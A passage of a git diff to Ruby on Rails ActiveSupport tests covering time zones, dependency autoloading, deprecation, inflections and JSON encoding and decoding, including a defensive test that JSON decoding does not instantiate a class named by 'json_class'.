- ActiveSupport::Deprecation.silence do
- assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
-
- unless time_is_64bits?
- assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1901, 2, 21, 17, 44, 30)
- end
- end
- end
-
- def test_time_with_datetime_fallback_deprecations
- assert_deprecated(/time_with_datetime_fallback/) { Time.time_with_datetime_fallback(:utc, 2012, 6, 7) }
- assert_deprecated(/utc_time/) { Time.utc_time(2012, 6, 7) }
- assert_deprecated(/local_time/) { Time.local_time(2012, 6, 7) }
- end
-
def test_last_month_on_31st
assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
end
@@ -752,6 +722,21 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_at_with_datetime_returns_local_time
+ with_env_tz 'US/Eastern' do
+ dt = DateTime.civil(2000, 1, 1, 0, 0, 0, '+0')
+ assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(dt)
+ assert_equal 'EST', Time.at(dt).zone
+ assert_equal(-18000, Time.at(dt).utc_offset)
+
+ # Daylight savings
+ dt = DateTime.civil(2000, 7, 1, 1, 0, 0, '+1')
+ assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(dt)
+ assert_equal 'EDT', Time.at(dt).zone
+ assert_equal(-14400, Time.at(dt).utc_offset)
+ end
+ end
+
def test_at_with_time_with_zone
assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC']))
@@ -763,6 +748,45 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_at_with_time_with_zone_returns_local_time
+ with_env_tz 'US/Eastern' do
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['London'])
+ assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(twz)
+ assert_equal 'EST', Time.at(twz).zone
+ assert_equal(-18000, Time.at(twz).utc_offset)
+
+ # Daylight savings
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 7, 1, 0, 0, 0), ActiveSupport::TimeZone['London'])
+ assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(twz)
+ assert_equal 'EDT', Time.at(twz).zone
+ assert_equal(-14400, Time.at(twz).utc_offset)
+ end
+ end
+
+ def test_at_with_time_microsecond_precision
+ assert_equal Time.at(Time.utc(2000, 1, 1, 0, 0, 0, 111)).to_f, Time.utc(2000, 1, 1, 0, 0, 0, 111).to_f
+ end
+
+ def test_at_with_utc_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.utc(2000), Time.at(Time.utc(2000))
+ assert_equal 'UTC', Time.at(Time.utc(2000)).zone
+ assert_equal(0, Time.at(Time.utc(2000)).utc_offset)
+ end
+ end
+
+ def test_at_with_local_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2000), Time.at(Time.local(2000))
+ assert_equal 'EST', Time.at(Time.local(2000)).zone
+ assert_equal(-18000, Time.at(Time.local(2000)).utc_offset)
+
+ assert_equal Time.local(2000, 7, 1), Time.at(Time.local(2000, 7, 1))
+ assert_equal 'EDT', Time.at(Time.local(2000, 7, 1)).zone
+ assert_equal(-14400, Time.at(Time.local(2000, 7, 1)).utc_offset)
+ end
+ end
+
def test_eql?
assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
@@ -832,9 +856,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
end
- def time_is_64bits?
- Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).is_a?(Time)
- end
end
class TimeExtMarshalingTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index ddcfcc491f..7fe4d4a6b2 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -1,6 +1,5 @@
require 'abstract_unit'
require 'active_support/time'
-require 'active_support/json'
class TimeWithZoneTest < ActiveSupport::TestCase
@@ -66,20 +65,6 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
end
- def test_to_json_with_use_standard_json_time_format_config_set_to_false
- old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, false
- assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
- ensure
- ActiveSupport.use_standard_json_time_format = old
- end
-
- def test_to_json_with_use_standard_json_time_format_config_set_to_true
- old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
- assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(@twz)
- ensure
- ActiveSupport.use_standard_json_time_format = old
- end
-
def test_nsec
local = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
@@ -126,6 +111,10 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12)
end
+ def test_xmlschema_with_nil_fractional_seconds
+ assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
+ end
+
def test_to_yaml
assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml)
end
@@ -506,6 +495,16 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
end
+ def test_change_at_dst_boundary
+ twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+ assert_equal twz, twz.change(:min => 0)
+ end
+
+ def test_round_at_dst_boundary
+ twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+ assert_equal twz, twz.round
+ end
+
def test_advance
assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
@@ -992,6 +991,15 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
Time.zone = nil
end
+ def test_time_in_time_zone_doesnt_affect_receiver
+ with_env_tz 'Europe/London' do
+ time = Time.local(2000, 7, 1)
+ time_with_zone = time.in_time_zone('Eastern Time (US & Canada)')
+ assert_equal Time.utc(2000, 6, 30, 23, 0, 0), time_with_zone
+ assert_not time.utc?, 'time expected to be local, but is UTC'
+ end
+ end
+
protected
def with_env_tz(new_tz = 'US/Eastern')
old_tz, ENV['TZ'] = ENV['TZ'], new_tz
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 68b6cc6e8c..4ca63b3417 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -35,6 +35,17 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal expected.path, e.path
end
+ def test_require_dependency_accepts_an_object_which_implements_to_path
+ o = Object.new
+ def o.to_path; 'dependencies/service_one'; end
+ assert_nothing_raised {
+ require_dependency o
+ }
+ assert defined?(ServiceOne)
+ ensure
+ remove_constants(:ServiceOne)
+ end
+
def test_tracking_loaded_files
require_dependency 'dependencies/service_one'
require_dependency 'dependencies/service_two'
@@ -62,12 +73,11 @@ class DependenciesTest < ActiveSupport::TestCase
$raises_exception_load_count = 0
5.times do |count|
- begin
+ e = assert_raise Exception, 'should have loaded dependencies/raises_exception which raises an exception' do
require_dependency filename
- flunk 'should have loaded dependencies/raises_exception which raises an exception'
- rescue Exception => e
- assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
end
+
+ assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
assert_equal count + 1, $raises_exception_load_count
assert !ActiveSupport::Dependencies.loaded.include?(filename)
@@ -355,26 +365,19 @@ class DependenciesTest < ActiveSupport::TestCase
def test_non_existing_const_raises_name_error_with_fully_qualified_name
with_autoloading_fixtures do
- begin
- A::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::DoesNotExist", e.message
- end
- begin
- A::B::DoesNotExist.nil?
- flunk "No raise!!"
- rescue NameError => e
- assert_equal "uninitialized constant A::B::DoesNotExist", e.message
- end
+ e = assert_raise(NameError) { A::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::DoesNotExist", e.message
+
+ e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+ assert_equal "uninitialized constant A::B::DoesNotExist", e.message
end
end
def test_smart_name_error_strings
- Object.module_eval "ImaginaryObject"
- flunk "No raise!!"
- rescue NameError => e
- assert e.message.include?("uninitialized constant ImaginaryObject")
+ e = assert_raise NameError do
+ Object.module_eval "ImaginaryObject"
+ end
+ assert_includes "uninitialized constant ImaginaryObject", e.message
end
def test_loadable_constants_for_path_should_handle_empty_autoloads
@@ -519,29 +522,21 @@ class DependenciesTest < ActiveSupport::TestCase
end
end
- def test_const_missing_should_not_double_load
- $counting_loaded_times = 0
+ def test_const_missing_in_anonymous_modules_loads_top_level_constants
with_autoloading_fixtures do
- require_dependency '././counting_loader'
- assert_equal 1, $counting_loaded_times
- assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
- assert_equal 1, $counting_loaded_times
+ # class_eval STRING pushes the class to the nesting of the eval'ed code.
+ klass = Class.new.class_eval "E"
+ assert_equal E, klass
end
end
- def test_const_missing_within_anonymous_module
- $counting_loaded_times = 0
- m = Module.new
- m.module_eval "def a() CountingLoader; end"
- extend m
+ def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
with_autoloading_fixtures do
- kls = nil
- assert_nothing_raised { kls = a }
- assert_equal "CountingLoader", kls.name
- assert_equal 1, $counting_loaded_times
+ require_dependency 'e'
- assert_nothing_raised { kls = a }
- assert_equal 1, $counting_loaded_times
+ mod = Module.new
+ e = assert_raise(NameError) { mod::E }
+ assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message
end
end
@@ -550,12 +545,10 @@ class DependenciesTest < ActiveSupport::TestCase
c = ServiceOne
ActiveSupport::Dependencies.clear
assert ! defined?(ServiceOne)
- begin
+ e = assert_raise ArgumentError do
ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
- flunk "Expected exception"
- rescue ArgumentError => e
- assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
+ assert_match %r{ServiceOne has been removed from the module tree}i, e.message
end
end
@@ -647,6 +640,14 @@ class DependenciesTest < ActiveSupport::TestCase
Object.class_eval { remove_const :E }
end
+ def test_constants_in_capitalized_nesting_marked_as_autoloaded
+ with_autoloading_fixtures do
+ ActiveSupport::Dependencies.load_missing_constant(HTML, "SomeClass")
+
+ assert ActiveSupport::Dependencies.autoloaded?("HTML::SomeClass")
+ end
+ end
+
def test_unloadable
with_autoloading_fixtures do
Object.const_set :M, Module.new
@@ -886,12 +887,10 @@ class DependenciesTest < ActiveSupport::TestCase
with_autoloading_fixtures do
Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
2.times do
- begin
+ e = assert_raise NameError do
::RaisesNameError::FooBarBaz.object_id
- flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
- rescue NameError => e
- assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
end
+ assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
end
@@ -949,6 +948,18 @@ class DependenciesTest < ActiveSupport::TestCase
Object.class_eval { remove_const :A if const_defined?(:A) }
end
+ def test_access_unloaded_constants_for_reload
+ with_autoloading_fixtures do
+ assert_kind_of Module, A
+ assert_kind_of Class, A::B # Necessary to load A::B for the test
+ ActiveSupport::Dependencies.mark_for_unload(A::B)
+ ActiveSupport::Dependencies.remove_unloadable_constants!
+
+ A::B # Make sure no circular dependency error
+ end
+ end
+
+
def test_autoload_once_paths_should_behave_when_recursively_loading
with_loading 'dependencies', 'autoloading_fixtures' do
ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
diff --git a/activesupport/test/deprecation/basic_object_test.rb b/activesupport/test/deprecation/basic_object_test.rb
deleted file mode 100644
index 4b5bed9eb1..0000000000
--- a/activesupport/test/deprecation/basic_object_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'abstract_unit'
-require 'active_support/deprecation'
-require 'active_support/basic_object'
-
-
-class BasicObjectTest < ActiveSupport::TestCase
- test 'BasicObject warns about deprecation when inherited from' do
- warn = 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
- ActiveSupport::Deprecation.expects(:warn).with(warn).once
- Class.new(ActiveSupport::BasicObject)
- end
-end \ No newline at end of file
diff --git a/activesupport/test/deprecation/buffered_logger_test.rb b/activesupport/test/deprecation/buffered_logger_test.rb
deleted file mode 100644
index bf11a4732c..0000000000
--- a/activesupport/test/deprecation/buffered_logger_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-require 'active_support/buffered_logger'
-
-class BufferedLoggerTest < ActiveSupport::TestCase
-
- def test_can_be_subclassed
- warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
-
- ActiveSupport::Deprecation.expects(:warn).with(warn).once
-
- Class.new(ActiveSupport::BufferedLogger)
- end
-
- def test_issues_deprecation_when_instantiated
- warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
-
- ActiveSupport::Deprecation.expects(:warn).with(warn).once
-
- ActiveSupport::BufferedLogger.new(STDOUT)
- end
-
-end
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 9616e42f44..ee1c69502e 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -98,6 +98,19 @@ class DeprecationTest < ActiveSupport::TestCase
assert_match(/foo=nil/, @b)
end
+ def test_raise_behaviour
+ ActiveSupport::Deprecation.behavior = :raise
+
+ message = 'Revise this deprecated stuff now!'
+ callstack = %w(foo bar baz)
+
+ e = assert_raise ActiveSupport::DeprecationException do
+ ActiveSupport::Deprecation.behavior.first.call(message, callstack)
+ end
+ assert_equal message, e.message
+ assert_equal callstack, e.backtrace
+ end
+
def test_default_stderr_behavior
ActiveSupport::Deprecation.behavior = :stderr
behavior = ActiveSupport::Deprecation.behavior.first
@@ -158,7 +171,7 @@ class DeprecationTest < ActiveSupport::TestCase
ActiveSupport::Deprecation.warn 'abc'
ActiveSupport::Deprecation.warn 'def'
end
- rescue MiniTest::Assertion
+ rescue Minitest::Assertion
flunk 'assert_deprecated should match any warning in block, not just the last one'
end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
index 74669aaca1..00b449af51 100644
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -4,4 +4,14 @@ require 'descendants_tracker_test_cases'
class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
include DescendantsTrackerTestCases
+
+ # Regression test for #8422. https://github.com/rails/rails/issues/8442
+ def test_clear_without_autoloaded_singleton_parent
+ mark_as_autoloaded do
+ parent_instance = Parent.new
+ parent_instance.singleton_class.descendants
+ ActiveSupport::DescendantsTracker.clear
+ assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
+ end
+ end
end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
deleted file mode 100644
index 005b3523ef..0000000000
--- a/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class EmptyTrue
- def empty?() true; end
-end
-
-class EmptyFalse
- def empty?() false; end
-end
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
deleted file mode 100644
index 0eefce0c25..0000000000
--- a/activesupport/test/fixtures/custom.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Custom
-end \ No newline at end of file
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 22cb61ffd6..b0b4738eb3 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -70,15 +70,17 @@ class InflectorTest < ActiveSupport::TestCase
def test_overwrite_previous_inflectors
- assert_equal("series", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.singular "series", "serie"
- assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+ with_dup do
+ assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+ ActiveSupport::Inflector.inflections.singular "series", "serie"
+ assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+ end
end
- MixtureToTitleCase.each do |before, titleized|
- define_method "test_titleize_#{before}" do
- assert_equal(titleized, ActiveSupport::Inflector.titleize(before))
+ MixtureToTitleCase.each_with_index do |(before, titleized), index|
+ define_method "test_titleize_mixture_to_title_case_#{index}" do
+ assert_equal(titleized, ActiveSupport::Inflector.titleize(before), "mixture \
+ to TitleCase failed for #{before}")
end
end
@@ -198,6 +200,7 @@ class InflectorTest < ActiveSupport::TestCase
def test_demodulize
assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+ assert_equal "Account", ActiveSupport::Inflector.demodulize("::Account")
assert_equal "", ActiveSupport::Inflector.demodulize("")
end
@@ -229,25 +232,35 @@ class InflectorTest < ActiveSupport::TestCase
end
end
+# FIXME: get following tests to pass on jruby, currently skipped
+#
+# Currently this fails because ActiveSupport::Multibyte::Unicode#tidy_bytes
+# required a specific Encoding::Converter(UTF-8 to UTF8-MAC) which unavailable on JRuby
+# causing our tests to error out.
+# related bug http://jira.codehaus.org/browse/JRUBY-7194
def test_parameterize
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterized.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
end
end
def test_parameterize_and_normalize
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
end
end
def test_parameterize_with_custom_separator
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterizeWithUnderscore.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_'))
end
end
def test_parameterize_with_multi_character_separator
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterized.each do |some_string, parameterized_string|
assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
end
@@ -276,6 +289,12 @@ class InflectorTest < ActiveSupport::TestCase
end
end
+ def test_humanize_without_capitalize
+ UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+ assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
+ end
+ end
+
def test_humanize_by_rule
ActiveSupport::Inflector.inflections do |inflect|
inflect.human(/_cnt$/i, '\1_count')
@@ -419,33 +438,36 @@ class InflectorTest < ActiveSupport::TestCase
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_irregularity_between_#{singular}_and_#{plural}") do
- inflect.irregular(singular, plural)
- assert_equal singular, ActiveSupport::Inflector.singularize(plural)
- assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+ Irregularities.each do |singular, plural|
+ define_method("test_irregularity_between_#{singular}_and_#{plural}") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+ end
end
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
- inflect.irregular(singular, plural)
- assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+ Irregularities.each do |singular, plural|
+ define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+ end
end
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
- inflect.irregular(singular, plural)
- assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+ Irregularities.each do |singular, plural|
+ define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+ end
end
end
end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index 7704300938..dd03a61176 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -63,6 +63,7 @@ module InflectorTestCases
"news" => "news",
"series" => "series",
+ "miniseries" => "miniseries",
"species" => "species",
"quiz" => "quizzes",
@@ -105,7 +106,6 @@ module InflectorTestCases
"prize" => "prizes",
"edge" => "edges",
- "cow" => "kine",
"database" => "databases",
# regression tests against improper inflection regexes
@@ -213,6 +213,12 @@ module InflectorTestCases
"underground" => "Underground"
}
+ UnderscoreToHumanWithoutCapitalize = {
+ "employee_salary" => "employee salary",
+ "employee_id" => "employee",
+ "underground" => "underground"
+ }
+
MixtureToTitleCase = {
'active_record' => 'Active Record',
'ActiveRecord' => 'Active Record',
@@ -308,7 +314,7 @@ module InflectorTestCases
'child' => 'children',
'sex' => 'sexes',
'move' => 'moves',
- 'cow' => 'kine',
+ 'cow' => 'kine', # Test inflections with different starting letters
'zombie' => 'zombies',
'genus' => 'genera'
}
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 34ed866848..07d7e530ca 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -4,6 +4,12 @@ require 'active_support/json'
require 'active_support/time'
class TestJSONDecoding < ActiveSupport::TestCase
+ class Foo
+ def self.json_create(object)
+ "Foo"
+ end
+ end
+
TESTS = {
%q({"returnTo":{"\/categories":"\/"}}) => {"returnTo" => {"/categories" => "/"}},
%q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
@@ -52,15 +58,26 @@ class TestJSONDecoding < ActiveSupport::TestCase
# tests escaping of "\n" char with Yaml backend
%q({"a":"\n"}) => {"a"=>"\n"},
%q({"a":"\u000a"}) => {"a"=>"\n"},
- %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"}
+ %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"},
+ # prevent json unmarshalling
+ %q({"json_class":"TestJSONDecoding::Foo"}) => {"json_class"=>"TestJSONDecoding::Foo"},
+ # json "fragments" - these are invalid JSON, but ActionPack relies on this
+ %q("a string") => "a string",
+ %q(1.1) => 1.1,
+ %q(1) => 1,
+ %q(-1) => -1,
+ %q(true) => true,
+ %q(false) => false,
+ %q(null) => nil
}
- TESTS.each do |json, expected|
- test "json decodes #{json}" do
+ TESTS.each_with_index do |(json, expected), index|
+ test "json decodes #{index}" do
prev = ActiveSupport.parse_json_times
ActiveSupport.parse_json_times = true
silence_warnings do
- assert_equal expected, ActiveSupport::JSON.decode(json)
+ assert_equal expected, ActiveSupport::JSON.decode(json), "JSON decoding \
+ failed for #{json}"
end
ActiveSupport.parse_json_times = prev
end
@@ -75,7 +92,14 @@ class TestJSONDecoding < ActiveSupport::TestCase
end
def test_failed_json_decoding
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%(undefined)) }
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({a: 1})) }
assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
+ end
+
+ def test_cannot_pass_unsupported_options
+ assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
end
end
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index ed1326705c..f22d7b8b02 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -1,7 +1,9 @@
# encoding: utf-8
+require 'securerandom'
require 'abstract_unit'
require 'active_support/core_ext/string/inflections'
require 'active_support/json'
+require 'active_support/time'
class TestJSONEncoding < ActiveSupport::TestCase
class Foo
@@ -12,13 +14,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
class Hashlike
def to_hash
- { :a => 1 }
+ { :foo => "hello", :bar => "world" }
end
end
class Custom
- def as_json(options)
- 'custom'
+ def initialize(serialized)
+ @serialized = serialized
+ end
+
+ def as_json(options = nil)
+ @serialized
end
end
@@ -31,6 +37,25 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
end
+ class OptionsTest
+ def as_json(options = :default)
+ options
+ end
+ end
+
+ class HashWithAsJson < Hash
+ attr_accessor :as_json_called
+
+ def initialize(*)
+ super
+ end
+
+ def as_json(options={})
+ @as_json_called = true
+ super
+ end
+ end
+
TrueTests = [[ true, %(true) ]]
FalseTests = [[ false, %(false) ]]
NilTests = [[ nil, %(null) ]]
@@ -42,11 +67,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
[ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ],
[ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
- StringTests = [[ 'this is the <string>', %("this is the \\u003Cstring\\u003E")],
+ StringTests = [[ 'this is the <string>', %("this is the \\u003cstring\\u003e")],
[ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
[ 'http://test.host/posts/1', %("http://test.host/posts/1")],
- [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\342\200\250\342\200\251",
- %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F\\u2028\\u2029") ]]
+ [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+ %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ],
[ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
@@ -60,8 +85,14 @@ class TestJSONEncoding < ActiveSupport::TestCase
[ :"a b", %("a b") ]]
ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
- HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
- CustomTests = [[ Custom.new, '"custom"' ]]
+ HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
+ CustomTests = [[ Custom.new("custom"), '"custom"' ],
+ [ Custom.new(nil), 'null' ],
+ [ Custom.new(:a), '"a"' ],
+ [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+ [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
@@ -70,8 +101,8 @@ class TestJSONEncoding < ActiveSupport::TestCase
DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
